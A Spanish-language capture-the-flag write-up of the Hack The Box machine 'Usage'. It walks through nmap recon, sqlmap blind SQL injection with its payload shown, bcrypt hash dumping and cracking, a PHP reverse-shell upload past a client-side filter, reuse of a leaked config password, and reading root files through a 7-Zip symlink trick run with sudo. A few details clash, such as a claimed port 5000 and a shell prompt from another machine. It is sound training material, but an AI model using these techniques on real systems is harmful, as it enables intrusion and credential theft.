Descripción

Usage es una máquina fácil de Hack The Box que cuenta con las siguientes vulnerabilidades:

  • Inyección SQL en una aplicación Laravel para obtener las credenciales del panel del administrador
  • Subida insegura de archivos PHP en el panel de administrador (saltándose un filtro de cliente)
  • Pivote de usuario utilizando unas credenciales guardadas en un archivo de configuración
  • Escalada de privilegios utilizando la aplicación de compresión 7z ejecutada como el usuario root

Reconocimiento

Primero, vamos a comprobar con el comando ping si la máquina está activa y el sistema operativo. La dirección IP de la máquina de destino es 10.129.104.234.

$ ping -c 3 10.129.104.234
PING 10.129.104.234 (10.129.104.234) 56(84) bytes of data.
64 bytes from 10.129.104.234: icmp_seq=1 ttl=63 time=56.9 ms
64 bytes from 10.129.104.234: icmp_seq=2 ttl=63 time=64.6 ms
64 bytes from 10.129.104.234: icmp_seq=3 ttl=63 time=57.2 ms

--- 10.129.104.234 ping statistics ---
3 packets transmitted, 3 received, 0% packet loss, time 2004ms
rtt min/avg/max/mdev = 56.932/59.584/64.585/3.537 ms

La máquina está activa y con el TTL equivalente a 63 (64 menos 1 salto) podemos asegurar que es una máquina basada en Unix. Ahora vamos a hacer un escaneo de puertos TCP SYN con Nmap para comprobar todos los puertos abiertos.

$ sudo nmap 10.129.104.234 -sS -oN nmap_scan
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.104.234
Host is up (0.082s latency).
Not shown: 998 closed tcp ports (reset)
PORT   STATE SERVICE
22/tcp open  ssh
80/tcp open  http

Nmap done: 1 IP address (1 host up) scanned in 1.21 seconds

Obtenemos dos puertos abiertos, 22 y 5000.

Enumeración

Luego hacemos un escaneo más avanzado, con la detección de la versión de los servicios y el uso de scripts.

$ nmap 10.129.104.234 -sV -sC -p22,80 -oN nmap_scan_ports
Starting Nmap 7.94 ( https://nmap.org )
Nmap scan report for 10.129.104.234
Host is up (0.056s latency).

PORT   STATE SERVICE VERSION
22/tcp open  ssh     OpenSSH 8.9p1 Ubuntu 3ubuntu0.6 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   256 a0:f8:fd:d3:04:b8:07:a0:63:dd:37:df:d7:ee:ca:78 (ECDSA)
|_  256 bd:22:f5:28:77:27:fb:65:ba:f6:fd:2f:10:c7:82:8f (ED25519)
80/tcp open  http    nginx 1.18.0 (Ubuntu)
|_http-title: Did not follow redirect to http://usage.htb/
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 8.58 seconds

Conseguimos dos servicios: Secure Shell (SSH) y Hypertext Transfer Protocol (HTTP) funcionando en un Linux Debian. Como no tenemos credenciales factibles para el servicio SSH vamos a pasar al servicio HTTP. Observamos que el servicio está hospedando un sitio web, nos redirecciona a usage.htb asi que lo añadirmos a nuestra listado /etc/hosts.

$ echo "10.129.104.234 usage.htb" | sudo tee -a /etc/hosts

El servidor web está ejecutando una aplicación Laravel en un nginx 1.18.0.

$ whatweb --log-brief web_techs usage.htb    
http://usage.htb [200 OK] Bootstrap[4.1.3], Cookies[XSRF-TOKEN,laravel_session], Country[RESERVED][ZZ], HTML5, HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], HttpOnly[laravel_session], IP[10.129.104.234], Laravel, PasswordField[password], Title[Daily Blogs], UncommonHeaders[x-content-type-options], X-Frame-Options[SAMEORIGIN], X-XSS-Protection[1; mode=block], nginx[1.18.0]

Podemos iniciar sesión, restablecer la contraseña, registrarse y acceder al panel de administración admin.usage.htb. Podemos añadir el subdominio a la lista de hosts.

$ echo "10.129.104.234 admin.usage.htb" | sudo tee -a /etc/hosts

Podemos crear una cuenta. Cuando entramos tenemos acceso a un blog. Si solicitamos una solicitud de recuperación de contraseña, se enviará un enlace a esa dirección de correo electrónico. Si introducimos en una comilla ('), obtenemos un error de servidor (500). La aplicación puede ser vulnerable a una inyección SQL.

Explotación

Vamos a comprobar eso con la herramienta SQLMap y exportando la solicitud capturada. Vamos a comprobar una inyección SQL ciega con un nivel (5).

$ sqlmap -r password_request -p email --dbms=mysql --technique=B --level 5 --dbs
...
sqlmap identified the following injection point(s) with a total of 142 HTTP(s) requests:
---
Parameter: email (POST)
    Type: boolean-based blind
    Title: AND boolean-based blind - WHERE or HAVING clause (subquery - comment)
    Payload: _token=jX80EPqdMqZovdY7K5ygUBCfJb8qAdl3wvMbUOTm&email=a@a.com' AND 5169=(SELECT (CASE WHEN (5169=5169) THEN 5169 ELSE (SELECT 1758 UNION SELECT 6340) END))-- -
---
...
available databases [3]:
[*] information_schema
[*] performance_schema
[*] usage_blog

La aplicación es vulnerable a una inyección SQL. Obtuvimos el nombre de la base de datos usage_blog. Tenemos que conseguir las tablas.

$ sqlmap -r password_request -p email --dbms=mysql --technique=B --level 5 -D usage_blog --tables
...
Database: usage_blog
[15 tables]
+------------------------+
| admin_menu             |
| admin_operation_log    |
| admin_permissions      |
| admin_role_menu        |
| admin_role_permissions |
| admin_role_users       |
| admin_roles            |
| admin_user_permissions |
| admin_users            |
| blog                   |
| failed_jobs            |
| migrations             |
| password_reset_tokens  |
| personal_access_tokens |
| users                  |
+------------------------+
...

Encontramos dos tablas que contienen datos sobre usuarios, users y admin_users. Empezamos a revisar la primera tabla.

$ sqlmap -r password_request -p email --dbms=mysql --technique=B --level 5 -D usage_blog -T users --dump
...
Database: usage_blog
Table: users
[3 entries]
+----+---------------+--------+--------------------------------------------------------------+---------------------+---------------------+----------------+-------------------+
| id | email         | name   | password                                                     | created_at          | updated_at          | remember_token | email_verified_at |
+----+---------------+--------+--------------------------------------------------------------+---------------------+---------------------+----------------+-------------------+
| 1  | raj@raj.com   | raj    | $2y$10$7ALmTTEYfRVd8Rnyep/ck.bSFKfXfsltPLkyQqSp/TT7X1wApJt4. | 2023-08-17 03:16:02 | 2023-08-17 03:16:02 | NULL           | NULL              |
| 2  | raj@usage.htb | raj    | $2y$10$rbNCGxpWp1HSpO1gQX4uPO.pDg1nszoI/UhwHvfHDdfdfo9VmDJsa | 2023-08-22 08:55:16 | 2023-08-22 08:55:16 | NULL           | NULL              |
| 3  | htb@htb.local | HTB    | $2y$10$13JxIqOwGAD.w69VIzTrUuEKImqGIqYWVJ7/5PIsisJp7f4Nn62LO | 2024-04-13 19:22:39 | 2024-04-13 19:22:39 | NULL           | NULL              |
+----+---------------+--------+--------------------------------------------------------------+---------------------+---------------------+----------------+-------------------+
...

Y la segunda tabla.

$ sqlmap -r password_request -p email --dbms=mysql --technique=B --level 5 -D usage_blog -T admin_users --dump
...
Database: usage_blog
Table: admin_users
[1 entry]
+----+---------------+---------+--------------------------------------------------------------+----------+---------------------+---------------------+--------------------------------------------------------------+
| id | name          | avatar  | password                                                     | username | created_at          | updated_at          | remember_token                                               |
+----+---------------+---------+--------------------------------------------------------------+----------+---------------------+---------------------+--------------------------------------------------------------+
| 1  | Administrator | <blank> | $2y$10$ohq2kLpBH/ri.P5wR0P3UOmc24Ydvl9DA9H1S6ooOMgH5xVfUPrL2 | admin    | 2023-08-13 02:48:26 | 2023-08-23 06:02:19 | kThXIKu7GhLpgwStz7fCFxjDomCYS1SmPpxwEkzv1Sdzva0qLYaDhllwrsLT |
+----+---------------+---------+--------------------------------------------------------------+----------+---------------------+---------------------+--------------------------------------------------------------+
...

Con los hashes obtenidos, podemos pasar a la aplicación John the Ripper para romperlos.

$ john --wordlist=/usr/share/wordlists/rockyou.txt hashes                  
Using default input encoding: UTF-8
Loaded 3 password hashes with 3 different salts (bcrypt [Blowfish 32/64 X3])
Cost 1 (iteration count) is 1024 for all loaded hashes
Will run 16 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
whatever1        (admin)     
xander           (raj@usage.htb)
xander           (raj@raj.com)                                                                                                                              
3g 0:00:00:13 DONE 0.2210g/s 169.7p/s 466.9c/s 466.9C/s monalisa..abcdefgh                                                               
Session completed.

Obtenemos la contraseña para los usuarios raj@raj.com y raj@usage.htb de la tabla users, xander, y la contraseña para el usuario admin de la tabla admin_users, whatever1. Vamos a comprobar las credenciales del administrador en el subdominio admin. Tenemos acceso al panel del administrador. En la parte superior derecha de la página podemos acceder a la página Setting y podemos modificar el avatar del usuario administrador. Podemos intentar subir una terminal inversa de PHP. Recibimos una respuesta que sólo los archivos de imagen son soportados para subir. Vamos a cambiar el nombre del archivo PHP a PNG y subirlo de nuevo, interceptando la solicitud con un proxy. Ahora, en la solicitud, cambiaremos la extensión a PHP. Necesitamos cambiar el campo de filename. Luego abrimos un puerto de escucha en nuestro sistema.

nc -nvlp 1234

La solicitud es exitosa y la página web hace una solicitud a la página web que subimos. Cuando aceptemos la solicitud interceptada recibiremos una terminal inversa como el usuario dash, actualizamos la terminal.

$ nc -nvlp 1234             
listening on [any] 1234 ...
connect to [10.10.14.44] from (UNKNOWN) [10.129.104.234] 57030
Linux usage 5.15.0-101-generic #111-Ubuntu SMP Tue Mar 5 20:16:58 UTC 2024 x86_64 x86_64 x86_64 GNU/Linux
 23:31:29 up 2 days,  9:52,  0 users,  load average: 0.00, 0.00, 0.00
USER     TTY      FROM             LOGIN@   IDLE   JCPU   PCPU WHAT
uid=1000(dash) gid=1000(dash) groups=1000(dash)
/bin/sh: 0: can't access tty; job control turned off
$ script /dev/null -c bash
[keyboard] CTRL-Z
$ stty raw -echo; fg
$ reset xterm
dvir@headless:~/app$ stty rows 48 columns 156; export TERM=xterm; export SHELL=bash

Post-Explotación

Aparte del usuario dash, xander y root son usuarios de consola.

dash@usage:/$ cat /etc/passwd | grep bash
root:x:0:0:root:/root:/bin/bash
dash:x:1000:1000:dash:/home/dash:/bin/bash
xander:x:1001:1001::/home/xander:/bin/bash

Enumerando los archivos encontramos una contraseña guardada en el archivo /home/dash/.monitrc.

dash@usage:/$ cd ~
dash@usage:~$ cat .monitrc 
#Monitoring Interval in Seconds
set daemon  60

#Enable Web Access
set httpd port 2812
     use address 127.0.0.1
     allow admin:3nc0d3d_pa$$w0rd
...

Podemos iniciar sesión con la contraseña 3nc0d3d_pa$$w0rd y el usuario xander con éxito.

dash@usage:~$ su xander
Password: 
xander@usage:/home/dash$ id
uid=1001(xander) gid=1001(xander) groups=1001(xander)

Vemos que xander puede ejecutar el comando /usr/bin/usage_management como el usuario root.

xander@usage:/home/dash$ sudo -l
Matching Defaults entries for xander on usage:
    env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin, use_pty

User xander may run the following commands on usage:
    (ALL : ALL) NOPASSWD: /usr/bin/usage_management

Observamos que es un archivo binario que nos ofrece tres opciones: Project Backup, Backup MySQL data y Reset admin password. Vemos que la primera opción es ejecutar la aplicación 7z.

xander@usage:/home/dash$ file /usr/bin/usage_management 
/usr/bin/usage_management: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=fdb8c912d98c85eb5970211443440a15d910ce7f, for GNU/Linux 3.2.0, not stripped
xander@usage:/home/dash$ file /usr/bin/usage_management | grep zip
xander@usage:/home/dash$ /usr/bin/usage_management
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3): ^C
xander@usage:/home/dash$ strings /usr/bin/usage_management | grep zip
/usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- *

Si hacemos ingeniería inversa al binario vemos que el directorio /var/www/html está siendo comprimido. El comando /usr/bin/7za a /var/backups/project.zip -tzip -snl -mmt -- * está siendo ejecutado. xander tiene permisos completos sobre el directorio /var/www/html.

xander@usage:/home/dash$ ls -la /var/www/
total 12
drwxr-xr-x  3 root root   4096 Apr  2 21:15 .
drwxr-xr-x 14 root root   4096 Apr  2 21:15 ..
drwxrwxrwx  4 root xander 4096 Apr  3 12:39 html

Podemos crear un vínculo simbólico al directorio /root en /var/www/html, los archivos que pertenezcan a root serán empaquetados en el archivo /var/backups/project.zip. Podemos hacer lo mismo con el directorio personal de dash. Finalmente desempaquetaremos el archivo para obtener la flags.

xander@usage:~$ cd /tmp
xander@usage:/tmp$ ln -s /home/dash /var/www/html/dash_dir
xander@usage:/tmp$ ln -s /root /var/www/html/root_dir
xander@usage:/tmp$ sudo /usr/bin/usage_management
Choose an option:
1. Project Backup
2. Backup MySQL data
3. Reset admin password
Enter your choice (1/2/3): 1

7-Zip (a) [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs AMD EPYC 7763 64-Core Processor                 (A00F11),ASM,AES-NI)

Scanning the drive:
3185 folders, 18028 files, 132312029 bytes (127 MiB)

Creating archive: /var/backups/project.zip

Items to compress: 21213

                                                                               
Files read from disk: 18028
Archive size: 72303518 bytes (69 MiB)
Everything is Ok
xander@usage:/tmp$ mktemp -d
/tmp/tmp.5fk8IgVp9b
xander@usage:/tmp$ cd /tmp/tmp.5fk8IgVp9b
xander@usage:/tmp/tmp.5fk8IgVp9b$ 7z x /var/backups/project.zip 

7-Zip [64] 16.02 : Copyright (c) 1999-2016 Igor Pavlov : 2016-05-21
p7zip Version 16.02 (locale=en_US.UTF-8,Utf16=on,HugeFiles=on,64 bits,2 CPUs AMD EPYC 7763 64-Core Processor                 (A00F11),ASM,AES-NI)

Scanning the drive for archives:
1 file, 72303518 bytes (69 MiB)

Extracting archive: /var/backups/project.zip
--            
Path = /var/backups/project.zip
Type = zip
Physical Size = 72303518

Everything is Ok                                                               

Folders: 3185
Files: 18028
Size:       132312029
Compressed: 72303518
xander@usage:/tmp/tmp.5fk8IgVp9b$ ls dash_dir/user.txt 
root_dir/root.txt
xander@usage:/tmp/tmp.5fk8IgVp9b$ ls root_dir/root.txt 
root_dir/root.txt

Flags

Ahora podemos obtener la flag de root en el subdirectorio root_dir y la flag de usuario en el subdirectorio dash_dir.

xander@usage:/tmp/tmp.5fk8IgVp9b$ cat dash_dir/user.txt 
<REDACTED>
xander@usage:/tmp/tmp.5fk8IgVp9b$ cat root_dir/root.txt 
<REDACTED>